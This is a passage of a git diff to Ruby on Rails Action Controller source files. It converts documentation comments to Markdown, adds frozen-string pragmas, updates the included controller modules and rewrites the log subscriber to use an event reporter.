       # Append rescue at the bottom to wrap as much as possible.
       Rescue,
 
-      # Add instrumentations hooks at the bottom, to ensure they instrument
-      # all the methods properly.
+      # Add instrumentations hooks at the bottom, to ensure they instrument all the
+      # methods properly.
       Instrumentation,
 
-      # Params wrapper should come before instrumentation so they are
-      # properly showed in logs
+      # Params wrapper should come before instrumentation so they are properly showed
+      # in logs
       ParamsWrapper
     ]
 
@@ -142,6 +150,7 @@ def self.without_modules(*modules)
       include mod
     end
 
+    ActiveSupport.run_load_hooks(:action_controller_api, self)
     ActiveSupport.run_load_hooks(:action_controller, self)
   end
 end
diff --git a/actionpack/lib/action_controller/api/api_rendering.rb b/actionpack/lib/action_controller/api/api_rendering.rb
index 3a08d28c393c2..dcb27315f1606 100644
--- a/actionpack/lib/action_controller/api/api_rendering.rb
+++ b/actionpack/lib/action_controller/api/api_rendering.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module ApiRendering
     extend ActiveSupport::Concern
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index ca8066cd822b8..c30e793df54f8 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -1,197 +1,225 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_view"
 require "action_controller/log_subscriber"
+require "action_controller/structured_event_subscriber"
 require "action_controller/metal/params_wrapper"
 
 module ActionController
-  # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
-  # on request and then either it renders a template or redirects to another action. An action is defined as a public method
-  # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
+  # # Action Controller Base
+  #
+  # Action Controllers are the core of a web request in Rails. They are made up of
+  # one or more actions that are executed on request and then either it renders a
+  # template or redirects to another action. An action is defined as a public
+  # method on the controller, which will automatically be made accessible to the
+  # web-server through Rails Routes.
   #
-  # By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
-  # controllers in turn inherit from ApplicationController. This gives you one class to configure things such as
+  # By default, only the ApplicationController in a Rails application inherits
+  # from `ActionController::Base`. All other controllers inherit from
+  # ApplicationController. This gives you one class to configure things such as
   # request forgery protection and filtering of sensitive request parameters.
   #
   # A sample controller could look like this:
   #
-  #   class PostsController < ApplicationController
-  #     def index
-  #       @posts = Post.all
-  #     end
+  #     class PostsController < ApplicationController
+  #       def index
+  #         @posts = Post.all
+  #       end
   #
-  #     def create
-  #       @post = Post.create params[:post]
-  #       redirect_to posts_path
+  #       def create
+  #         @post = Post.create params[:post]
+  #         redirect_to posts_path
+  #       end
   #     end
-  #   end
-  #
-  # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
-  # after executing code in the action. For example, the +index+ action of the PostsController would render the
-  # template <tt>app/views/posts/index.html.erb</tt> by default after populating the <tt>@posts</tt> instance variable.
   #
-  # Unlike index, the create action will not render a template. After performing its main purpose (creating a
-  # new post), it initiates a redirect instead. This redirect works by returning an external
-  # "302 Moved" HTTP response that takes the user to the index action.
+  # Actions, by default, render a template in the `app/views` directory
+  # corresponding to the name of the controller and action after executing code in
+  # the action. For example, the `index` action of the PostsController would
+  # render the template `app/views/posts/index.html.erb` by default after
+  # populating the `@posts` instance variable.
   #
-  # These two methods represent the two basic action archetypes used in Action Controllers: Get-and-show and do-and-redirect.
-  # Most actions are variations on these themes.
+  # Unlike index, the create action will not render a template. After performing
+  # its main purpose (creating a new post), it initiates a redirect instead. This
+  # redirect works by returning an external `302 Moved` HTTP response that takes
+  # the user to the index action.
   #
-  # == Requests
+  # These two methods represent the two basic action archetypes used in Action
+  # Controllers: Get-and-show and do-and-redirect. Most actions are variations on
+  # these themes.
   #
-  # For every request, the router determines the value of the +controller+ and +action+ keys. These determine which controller
-  # and action are called. The remaining request parameters, the session (if one is available), and the full request with
-  # all the HTTP headers are made available to the action through accessor methods. Then the action is performed.
+  # ## Requests
   #
-  # The full request object is available via the request accessor and is primarily used to query for HTTP headers:
+  # For every request, the router determines the value of the `controller` and
+  # `action` keys. These determine which controller and action are called. The
+  # remaining request parameters, the session (if one is available), and the full
+  # request with all the HTTP headers are made available to the action through
+  # accessor methods. Then the action is performed.
   #
-  #   def server_ip
-  #     location = request.env["REMOTE_ADDR"]
-  #     render plain: "This server hosted at #{location}"
-  #   end
+  # The full request object is available via the request accessor and is primarily
+  # used to query for HTTP headers:
   #
-  # == Parameters
+  #     def server_ip
+  #       location = request.env["REMOTE_ADDR"]
+  #       render plain: "This server hosted at #{location}"
+  #     end
   #
-  # All request parameters, whether they come from a query string in the URL or form data submitted through a POST request are
-  # available through the <tt>params</tt> method which returns a hash. For example, an action that was performed through
-  # <tt>/posts?category=All&limit=5</tt> will include <tt>{ "category" => "All", "limit" => "5" }</tt> in <tt>params</tt>.
+  # ## Parameters
   #
-  # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
+  # All request parameters, whether they come from a query string in the URL or
+  # form data submitted through a POST request are available through the `params`
+  # method which returns a hash. For example, an action that was performed through
+  # `/posts?category=All&limit=5` will include `{ "category" => "All", "limit" =>
+  # "5" }` in `params`.
   #
-  #   <input type="text" name="post[name]" value="david">
-  #   <input type="text" name="post[address]" value="hyacintvej">
+  # It's also possible to construct multi-dimensional parameter hashes by
+  # specifying keys using brackets, such as:
   #
-  # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
-  # If the address input had been named <tt>post[address][street]</tt>, the <tt>params</tt> would have included
-  # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
+  #     <input type="text" name="post[name]" value="david">
+  #     <input type="text" name="post[address]" value="hyacintvej">
   #
-  # == Sessions
+  # A request coming from a form holding these inputs will include `{ "post" => {
+  # "name" => "david", "address" => "hyacintvej" } }`. If the address input had
+  # been named `post[address][street]`, the `params` would have included `{ "post"
+  # => { "address" => { "street" => "hyacintvej" } } }`. There's no limit to the
+  # depth of the nesting.
   #
-  # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
-  # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
-  # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
-  # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
+  # ## Sessions
   #
-  # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
+  # Sessions allow you to store objects in between requests. This is useful for
+  # objects that are not yet ready to be persisted, such as a Signup object
+  # constructed in a multi-paged process, or objects that don't change much and
+  # are needed all the time, such as a User object for a system that requires
+  # login. The session should not be used, however, as a cache for objects where
+  # it's likely they could be changed unknowingly. It's usually too much work to
+  # keep it all synchronized -- something databases already excel at.
   #
-  #   session[:person] = Person.authenticate(user_name, password)
+  # You can place objects in the session by using the `session` method, which
+  # accesses a hash:
   #
-  # And retrieved again through the same hash:
+  #     session[:person] = Person.authenticate(user_name, password)
   #
-  #   Hello #{session[:person]}
+  # You can retrieve it again through the same hash:
   #
-  # For removing objects from the session, you can either assign a single key to +nil+:
+  #     "Hello #{session[:person]}"
   #
-  #   # removes :person from session
-  #   session[:person] = nil
+  # For removing objects from the session, you can either assign a single key to
+  # `nil`:
   #
-  # or you can remove the entire session with +reset_session+.
+  #     # removes :person from session
+  #     session[:person] = nil
   #
-  # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
-  # This prevents the user from tampering with the session but also allows them to see its contents.
+  # or you can remove the entire session with `reset_session`.
   #
-  # Do not put secret information in cookie-based sessions!
+  # By default, sessions are stored in an encrypted browser cookie (see
+  # ActionDispatch::Session::CookieStore). Thus the user will not be able to read
+  # or edit the session data. However, the user can keep a copy of the cookie even
+  # after it has expired, so you should avoid storing sensitive information in
+  # cookie-based sessions.
   #
-  # == Responses
+  # ## Responses
   #
-  # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
-  # object is generated automatically through the use of renders and redirects and requires no user intervention.
+  # Each action results in a response, which holds the headers and document to be
+  # sent to the user's browser. The actual response object is generated
+  # automatically through the use of renders and redirects and requires no user
+  # intervention.
   #
-  # == Renders
+  # ## Renders
   #
-  # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
-  # of a template. Included in the Action Pack is the Action View, which enables rendering of ERB templates. It's automatically configured.
-  # The controller passes objects to the view by assigning instance variables:
+  # Action Controller sends content to the user by using one of five rendering
+  # methods. The most versatile and common is the rendering of a template.
+  # Also included with \Rails is Action View, which enables rendering of ERB
+  # templates. It's automatically configured. The controller passes objects to the
+  # view by assigning instance variables:
   #
-  #   def show
-  #     @post = Post.find(params[:id])
-  #   end
+  #     def show
+  #       @post = Post.find(params[:id])
+  #     end
   #
   # Which are then automatically available to the view:
   #
-  #   Title: <%= @post.title %>
+  #     Title: <%= @post.title %>
   #
-  # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates
-  # will use the manual rendering methods:
+  # You don't have to rely on the automated rendering. For example, actions that
+  # could result in the rendering of different templates will use the manual
+  # rendering methods:
   #
-  #   def search
-  #     @results = Search.find(params[:query])
-  #     case @results.count
-  #       when 0 then render action: "no_results"
-  #       when 1 then render action: "show"
-  #       when 2..10 then render action: "show_many"
+  #     def search
+  #       @results = Search.find(params[:query])
+  #       case @results.count
+  #         when 0 then render action: "no_results"
+  #         when 1 then render action: "show"
+  #         when 2..10 then render action: "show_many"
+  #       end
   #     end
-  #   end
   #
   # Read more about writing ERB and Builder templates in ActionView::Base.
   #
-  # == Redirects
+  # ## Redirects
   #
-  # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the
-  # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're
-  # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
+  # Redirects are used to move from one action to another. For example, after a
+  # `create` action, which stores a blog entry to the database, we might like to
+  # show the user the new entry. Because we're following good DRY principles
+  # (Don't Repeat Yourself), we're going to reuse (and redirect to) a `show`
+  # action that we'll assume has already been created. The code might look like
+  # this:
   #
-  #   def create
-  #     @entry = Entry.new(params[:entry])
-  #     if @entry.save
-  #       # The entry was saved correctly, redirect to show
-  #       redirect_to action: 'show', id: @entry.id
-  #     else
-  #       # things didn't go so well, do something else
+  #     def create
+  #       @entry = Entry.new(params[:entry])
+  #       if @entry.save
+  #         # The entry was saved correctly, redirect to show
+  #         redirect_to action: 'show', id: @entry.id
+  #       else
+  #         # things didn't go so well, do something else
+  #       end
   #     end
-  #   end
   #
-  # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method, which is then executed.
-  # Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action),
-  # and not some internal re-routing which calls both "create" and then "show" within one request.
+  # In this case, after saving our new entry to the database, the user is
+  # redirected to the `show` method, which is then executed. Note that this is an
+  # external HTTP-level redirection which will cause the browser to make a second
+  # request (a GET to the show action), and not some internal re-routing which
+  # calls both "create" and then "show" within one request.
   #
-  # Learn more about <tt>redirect_to</tt> and what options you have in ActionController::Redirecting.
+  # Learn more about `redirect_to` and what options you have in
+  # ActionController::Redirecting.
   #
-  # == Calling multiple redirects or renders
+  # ## Calling multiple redirects or renders
   #
-  # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
+  # An action may perform only a single render or a single redirect. Attempting to
+  # do either again will result in a DoubleRenderError:
   #
-  #   def do_something
-  #     redirect_to action: "elsewhere"
-  #     render action: "overthere" # raises DoubleRenderError
-  #   end
+  #     def do_something
+  #       redirect_to action: "elsewhere"
+  #       render action: "overthere" # raises DoubleRenderError
+  #     end
   #
-  # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
+  # If you need to redirect on the condition of something, then be sure to add
+  # "return" to halt execution.
   #
-  #   def do_something
-  #     redirect_to(action: "elsewhere") and return if monkeys.nil?
-  #     render action: "overthere" # won't be called if monkeys is nil
-  #   end
+  #     def do_something
+  #       if monkeys.nil?
+  #         redirect_to(action: "elsewhere")
+  #         return
+  #       end
+  #       render action: "overthere" # won't be called if monkeys is nil
+  #     end
   #
   class Base < Metal
     abstract!
 
-    # We document the request and response methods here because albeit they are
-    # implemented in ActionController::Metal, the type of the returned objects
-    # is unknown at that level.
-
-    ##
-    # :method: request
-    #
-    # Returns an ActionDispatch::Request instance that represents the
-    # current request.
-
-    ##
-    # :method: response
-    #
-    # Returns an ActionDispatch::Response that represents the current
-    # response.
-
     # Shortcut helper that returns all the modules included in
     # ActionController::Base except the ones passed as arguments:
     #
-    #   class MyBaseController < ActionController::Metal
-    #     ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
-    #       include left
+    #     class MyBaseController < ActionController::Metal
+    #       ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
+    #         include left
+    #       end
     #     end
-    #   end
     #
-    # This gives better control over what you want to exclude and makes it
-    # easier to create a bare controller class, instead of listing the modules
-    # required manually.
+    # This gives better control over what you want to exclude and makes it easier to
+    # create a bare controller class, instead of listing the modules required
+    # manually.
     def self.without_modules(*modules)
       modules = modules.map do |m|
         m.is_a?(Symbol) ? ActionController.const_get(m) : m
@@ -204,7 +232,6 @@ def self.without_modules(*modules)
       AbstractController::Rendering,
       AbstractController::Translation,
       AbstractController::AssetPaths,
-
       Helpers,
       UrlFor,
       Redirecting,
@@ -223,44 +250,84 @@ def self.without_modules(*modules)
       Flash,
       FormBuilder,
       RequestForgeryProtection,
-      ForceSSL,
+      ContentSecurityPolicy,
+      PermissionsPolicy,
+      RateLimiting,
+      AllowBrowser,
       Streaming,
       DataStreaming,
       HttpAuthentication::Basic::ControllerMethods,
       HttpAuthentication::Digest::ControllerMethods,
       HttpAuthentication::Token::ControllerMethods,
-
-      # Before callbacks should also be executed as early as possible, so
-      # also include them at the bottom.
+      DefaultHeaders,
+      Logging,
       AbstractController::Callbacks,
-
-      # Append rescue at the bottom to wrap as much as possible.
       Rescue,
-
-      # Add instrumentations hooks at the bottom, to ensure they instrument
-      # all the methods properly.
       Instrumentation,
-
-      # Params wrapper should come before instrumentation so they are
-      # properly showed in logs
       ParamsWrapper
     ]
 
-    MODULES.each do |mod|
-      include mod
-    end
+    # Note: Documenting these severely degrades the performance of rdoc
+    # :stopdoc:
+    include AbstractController::Rendering
+    include AbstractController::Translation
+    include AbstractController::AssetPaths
+    include Helpers
+    include UrlFor
+    include Redirecting
+    include ActionView::Layouts
+    include Rendering
+    include Renderers::All
+    include ConditionalGet
+    include EtagWithTemplateDigest
+    include EtagWithFlash
+    include Caching
+    include MimeResponds
+    include ImplicitRender
+    include StrongParameters
+    include ParameterEncoding
+    include Cookies
+    include Flash
+    include FormBuilder
+    include RequestForgeryProtection
+    include ContentSecurityPolicy
+    include PermissionsPolicy
+    include RateLimiting
+    include AllowBrowser
+    include Streaming
+    include DataStreaming
+    include HttpAuthentication::Basic::ControllerMethods
+    include HttpAuthentication::Digest::ControllerMethods
+    include HttpAuthentication::Token::ControllerMethods
+    include DefaultHeaders
+    include Logging
+    # Before callbacks should also be executed as early as possible, so also include
+    # them at the bottom.
+    include AbstractController::Callbacks
+    # Append rescue at the bottom to wrap as much as possible.
+    include Rescue
+    # Add instrumentations hooks at the bottom, to ensure they instrument all the
+    # methods properly.
+    include Instrumentation
+    # Params wrapper should come before instrumentation so they are properly showed
+    # in logs
+    include ParamsWrapper
+    # :startdoc:
     setup_renderer!
 
     # Define some internal variables that should not be propagated to the view.
     PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + %i(
       @_params @_response @_request @_config @_url_options @_action_has_layout @_view_context_class
       @_view_renderer @_lookup_context @_routes @_view_runtime @_db_runtime @_helper_proxy
+      @_marked_for_same_origin_verification @_verify_authenticity_token_ran @_rendered_format
     )
 
-    def _protected_ivars # :nodoc:
+    def _protected_ivars
       PROTECTED_IVARS
     end
+    private :_protected_ivars
 
+    ActiveSupport.run_load_hooks(:action_controller_base, self)
     ActiveSupport.run_load_hooks(:action_controller, self)
   end
 end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 954265ad97706..4a700952df12b 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -1,26 +1,31 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # \Caching is a cheap way of speeding up slow applications by keeping the result of
-  # calculations, renderings, and database calls around for subsequent requests.
+  # # Action Controller Caching
   #
-  # You can read more about each approach by clicking the modules below.
+  # Caching is a cheap way of speeding up slow applications by keeping the result
+  # of calculations, renderings, and database calls around for subsequent
+  # requests.
   #
   # Note: To turn off all caching provided by Action Controller, set
-  #   config.action_controller.perform_caching = false
   #
-  # == \Caching stores
+  #     config.action_controller.perform_caching = false
   #
-  # All the caching stores from ActiveSupport::Cache are available to be used as backends
-  # for Action Controller caching.
+  # ## Caching stores
+  #
+  # All the caching stores from ActiveSupport::Cache are available to be used as
+  # backends for Action Controller caching.
   #
   # Configuration examples (FileStore is the default):
   #
-  #   config.action_controller.cache_store = :memory_store
-  #   config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
-  #   config.action_controller.cache_store = :mem_cache_store, 'localhost'
-  #   config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211')
-  #   config.action_controller.cache_store = MyOwnStore.new('parameter')
+  #     config.action_controller.cache_store = :memory_store
+  #     config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
+  #     config.action_controller.cache_store = :mem_cache_store, 'localhost'
+  #     config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211')
+  #     config.action_controller.cache_store = MyOwnStore.new('parameter')
   module Caching
-    extend ActiveSupport::Autoload
     extend ActiveSupport::Concern
 
     included do
@@ -28,7 +33,6 @@ module Caching
     end
 
     private
-
       def instrument_payload(key)
         {
           controller: controller_name,
@@ -38,7 +42,7 @@ def instrument_payload(key)
       end
 
       def instrument_name
-        "action_controller".freeze
+        "action_controller"
       end
   end
 end
diff --git a/actionpack/lib/action_controller/deprecator.rb b/actionpack/lib/action_controller/deprecator.rb
new file mode 100644
index 0000000000000..3c0ea2a2fb512
--- /dev/null
+++ b/actionpack/lib/action_controller/deprecator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController
+  def self.deprecator # :nodoc:
+    AbstractController.deprecator
+  end
+end
diff --git a/actionpack/lib/action_controller/form_builder.rb b/actionpack/lib/action_controller/form_builder.rb
index f2656ca894a77..a14a6e9e19234 100644
--- a/actionpack/lib/action_controller/form_builder.rb
+++ b/actionpack/lib/action_controller/form_builder.rb
@@ -1,27 +1,33 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # Override the default form builder for all views rendered by this
-  # controller and any of its descendants. Accepts a subclass of
-  # +ActionView::Helpers::FormBuilder+.
+  # # Action Controller Form Builder
+  #
+  # Override the default form builder for all views rendered by this controller
+  # and any of its descendants. Accepts a subclass of
+  # ActionView::Helpers::FormBuilder.
   #
   # For example, given a form builder:
   #
-  #   class AdminFormBuilder < ActionView::Helpers::FormBuilder
-  #     def special_field(name)
+  #     class AdminFormBuilder < ActionView::Helpers::FormBuilder
+  #       def special_field(name)
+  #       end
   #     end
-  #   end
   #
   # The controller specifies a form builder as its default:
   #
-  #   class AdminAreaController < ApplicationController
-  #     default_form_builder AdminFormBuilder
-  #   end
+  #     class AdminAreaController < ApplicationController
+  #       default_form_builder AdminFormBuilder
+  #     end
   #
-  # Then in the view any form using +form_for+ will be an instance of the
-  # specified form builder:
+  # Then in the view any form using `form_with` or `form_for` will be an
+  # instance of the specified form builder:
   #
-  #   <%= form_for(@instance) do |builder| %>
-  #     <%= builder.special_field(:name) %>
-  #   <% end %>
+  #     <%= form_with(model: @instance) do |builder| %>
+  #       <%= builder.special_field(:name) %>
+  #     <% end %>
   module FormBuilder
     extend ActiveSupport::Concern
 
@@ -30,11 +36,12 @@ module FormBuilder
     end
 
     module ClassMethods
-      # Set the form builder to be used as the default for all forms
-      # in the views rendered by this controller and its subclasses.
+      # Set the form builder to be used as the default for all forms in the views
+      # rendered by this controller and its subclasses.
       #
-      # ==== Parameters
-      # * <tt>builder</tt> - Default form builder, an instance of +ActionView::Helpers::FormBuilder+
+      # #### Parameters
+      # *   `builder` - Default form builder. Accepts a subclass of
+      #     ActionView::Helpers::FormBuilder
       def default_form_builder(builder)
         self._default_form_builder = builder
       end
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
index d29a5fe68ff5c..6e706bb7683a8 100644
--- a/actionpack/lib/action_controller/log_subscriber.rb
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -1,76 +1,137 @@
+# frozen_string_literal: true
+
 module ActionController
-  class LogSubscriber < ActiveSupport::LogSubscriber
+  class LogSubscriber < ActiveSupport::EventReporter::LogSubscriber # :nodoc:
     INTERNAL_PARAMS = %w(controller action format _method only_path)
 
-    def start_processing(event)
-      return unless logger.info?
+    class_attribute :backtrace_cleaner, default: ActiveSupport::BacktraceCleaner.new
+
+    self.namespace = "action_controller"
 
-      payload = event.payload
-      params  = payload[:params].except(*INTERNAL_PARAMS)
+    def request_started(event)
+      payload = event[:payload]
+      params = {}
+      payload[:params].each_pair do |k, v|
+        params[k] = v unless INTERNAL_PARAMS.include?(k)
+      end
       format  = payload[:format]
       format  = format.to_s.upcase if format.is_a?(Symbol)
+      format  = "*/*" if format.nil?
 
       info "Processing by #{payload[:controller]}##{payload[:action]} as #{format}"
       info "  Parameters: #{params.inspect}" unless params.empty?
     end
+    event_log_level :request_started, :info
 
-    def process_action(event)
+    def request_completed(event)
       info do
-        payload   = event.payload
+        payload = event[:payload]
         additions = ActionController::Base.log_process_action(payload)
-
         status = payload[:status]
-        if status.nil? && payload[:exception].present?
-          exception_class_name = payload[:exception].first
+
+        if status.nil? && (exception_class_name = payload[:exception]&.first)
           status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
         end
-        message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms"
-        message << " (#{additions.join(" | ".freeze)})" unless additions.empty?
+
+        additions << "GC: #{payload[:gc_time_ms].round(1)}ms"
+
+        message = +"Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{payload[:duration_ms].round(0)}ms" \
+                   " (#{additions.join(" | ")})"
         message << "\n\n" if defined?(Rails.env) && Rails.env.development?
 
         message
       end
     end
+    event_log_level :request_completed, :info
 
-    def halted_callback(event)
-      info { "Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected" }
+    def callback_halted(event)
+      info { "Filter chain halted as #{event[:payload][:filter].inspect} rendered or redirected" }
     end
+    event_log_level :callback_halted, :info
 
-    def send_file(event)
-      info { "Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)" }
+    # Manually subscribed below
+    def rescue_from_handled(event)
+      exception_class = event[:payload][:exception_class]
+      exception_message = event[:payload][:exception_message]
+      exception_backtrace = event[:payload][:exception_backtrace]
+      info { "rescue_from handled #{exception_class} (#{exception_message}) - #{exception_backtrace}" }
     end
+    event_log_level :rescue_from_handled, :info
 
-    def redirect_to(event)
-      info { "Redirected to #{event.payload[:location]}" }
+    def file_sent(event)
+      info { "Sent file #{event[:payload][:path]} (#{event[:payload][:duration_ms].round(1)}ms)" }
     end
+    event_log_level :file_sent, :info
 
-    def send_data(event)
-      info { "Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)" }
+    def redirected(event)
+      info { "Redirected to #{event[:payload][:location]}" }
+
+      if ActionDispatch.verbose_redirect_logs && (source = redirect_source_location)
+        info { "↳ #{source}" }
+      end
+    end
+    event_log_level :redirected, :info
+
+    def data_sent(event)
+      info { "Sent data #{event[:payload][:filename]} (#{event[:payload][:duration_ms].round(1)}ms)" }
     end
+    event_log_level :data_sent, :info
 
     def unpermitted_parameters(event)
       debug do
-        unpermitted_keys = event.payload[:keys]
-        "Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{unpermitted_keys.map { |e| ":#{e}" }.join(", ")}"
+        unpermitted_keys = event[:payload][:unpermitted_keys]
+        display_unpermitted_keys = unpermitted_keys.map { |e| ":#{e}" }.join(", ")
+        context = event[:payload][:context].map { |k, v| "#{k}: #{v}" }.join(", ")
+        color("Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{display_unpermitted_keys}. Context: { #{context} }", RED)
       end
     end
+    event_log_level :unpermitted_parameters, :debug
 
-    %w(write_fragment read_fragment exist_fragment?
-       expire_fragment expire_page write_page).each do |method|
-      class_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{method}(event)
-          return unless logger.info? && ActionController::Base.enable_fragment_cache_logging
-          key_or_path = event.payload[:key] || event.payload[:path]
-          human_name  = #{method.to_s.humanize.inspect}
-          info("\#{human_name} \#{key_or_path} (\#{event.duration.round(1)}ms)")
-        end
-      METHOD
+    def csrf_token_fallback(event)
+      return unless ActionController::Base.log_warning_on_csrf_failure
+
+      warn do
+        payload = event[:payload]
+        "Falling back to CSRF token verification for #{payload[:controller]}##{payload[:action]}"
+      end
+    end
+    event_log_level :csrf_token_fallback, :info
+
+    def csrf_request_blocked(event)
+      return unless ActionController::Base.log_warning_on_csrf_failure
+
+      warn { event[:payload][:message] }
+    end
+    event_log_level :csrf_request_blocked, :info
+
+    def csrf_javascript_blocked(event)
+      return unless ActionController::Base.log_warning_on_csrf_failure
+
+      warn { event[:payload][:message] }
     end
+    event_log_level :csrf_javascript_blocked, :info
 
-    def logger
+    def fragment_cache(event)
+      return unless ActionController::Base.enable_fragment_cache_logging
+
+      key        = event[:payload][:key]
+      human_name = event[:payload][:method].to_s.humanize
+
+      info("#{human_name} #{key} (#{event[:payload][:duration_ms]}ms)")
+    end
+    event_log_level :fragment_cache, :info
+
+    def self.default_logger
       ActionController::Base.logger
     end
+
+    private
+      def redirect_source_location
+        backtrace_cleaner.first_clean_frame
+      end
   end
 end
 
-ActionController::LogSubscriber.attach_to :action_controller
+ActiveSupport.event_reporter.subscribe(
+  ActionController::LogSubscriber.new, &ActionController::LogSubscriber.subscription_filter
+)
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
index 337718afc013e..4c58735fa2911 100644
--- a/actionpack/lib/action_controller/metal.rb
+++ b/actionpack/lib/action_controller/metal.rb
@@ -1,18 +1,22 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/array/extract_options"
 require "action_dispatch/middleware/stack"
-require "action_dispatch/http/request"
-require "action_dispatch/http/response"
 
 module ActionController
-  # Extend ActionDispatch middleware stack to make it aware of options
-  # allowing the following syntax in controllers:
+  # # Action Controller MiddlewareStack
+  #
+  # Extend ActionDispatch middleware stack to make it aware of options allowing
+  # the following syntax in controllers:
   #
-  #   class PostsController < ApplicationController
-  #     use AuthenticationMiddleware, except: [:index, :show]
-  #   end
+  #     class PostsController < ApplicationController
+  #       use AuthenticationMiddleware, except: [:index, :show]
+  #     end
   #
-  class MiddlewareStack < ActionDispatch::MiddlewareStack #:nodoc:
-    class Middleware < ActionDispatch::MiddlewareStack::Middleware #:nodoc:
+  class MiddlewareStack < ActionDispatch::MiddlewareStack # :nodoc:
+    class Middleware < ActionDispatch::MiddlewareStack::Middleware # :nodoc:
       def initialize(klass, args, actions, strategy, block)
         @actions = actions
         @strategy = strategy
@@ -24,16 +28,15 @@ def valid?(action)
       end
     end
 
-    def build(action, app = Proc.new)
+    def build(action, app = nil, &block)
       action = action.to_s
 
-      middlewares.reverse.inject(app) do |a, middleware|
+      middlewares.reverse.inject(app || block) do |a, middleware|
         middleware.valid?(action) ? middleware.build(a) : a
       end
     end
 
     private
-
       INCLUDE = ->(list, action) { list.include? action }
       EXCLUDE = ->(list, action) { !list.include? action }
       NULL    = ->(list, action) { true }
@@ -59,99 +62,157 @@ def build_middleware(klass, args, block)
       end
   end
 
-  # <tt>ActionController::Metal</tt> is the simplest possible controller, providing a
+  # # Action Controller Metal
+  #
+  # `ActionController::Metal` is the simplest possible controller, providing a
   # valid Rack interface without the additional niceties provided by
-  # <tt>ActionController::Base</tt>.
+  # ActionController::Base.
   #
   # A sample metal controller might look like this:
   #
-  #   class HelloController < ActionController::Metal
-  #     def index
-  #       self.response_body = "Hello World!"
+  #     class HelloController < ActionController::Metal
+  #       def index
+  #         self.response_body = "Hello World!"
+  #       end
   #     end
-  #   end
   #
-  # And then to route requests to your metal controller, you would add
-  # something like this to <tt>config/routes.rb</tt>:
+  # And then to route requests to your metal controller, you would add something
+  # like this to `config/routes.rb`:
   #
-  #   get 'hello', to: HelloController.action(:index)
+  #     get 'hello', to: HelloController.action(:index)
   #
-  # The +action+ method returns a valid Rack application for the \Rails
-  # router to dispatch to.
+  # The ::action method returns a valid Rack application for the Rails router to
+  # dispatch to.
   #
-  # == Rendering Helpers
+  # ## Rendering Helpers
   #
-  # <tt>ActionController::Metal</tt> by default provides no utilities for rendering
-  # views, partials, or other responses aside from explicitly calling of
-  # <tt>response_body=</tt>, <tt>content_type=</tt>, and <tt>status=</tt>. To
-  # add the render helpers you're used to having in a normal controller, you
-  # can do the following:
+  # By default, `ActionController::Metal` provides no utilities for rendering
+  # views, partials, or other responses aside from some low-level setters such
+  # as #response_body=, #content_type=, and #status=. To add the render helpers
+  # you're used to having in a normal controller, you can do the following:
   #
-  #   class HelloController < ActionController::Metal
-  #     include AbstractController::Rendering
-  #     include ActionView::Layouts
-  #     append_view_path "#{Rails.root}/app/views"
+  #     class HelloController < ActionController::Metal
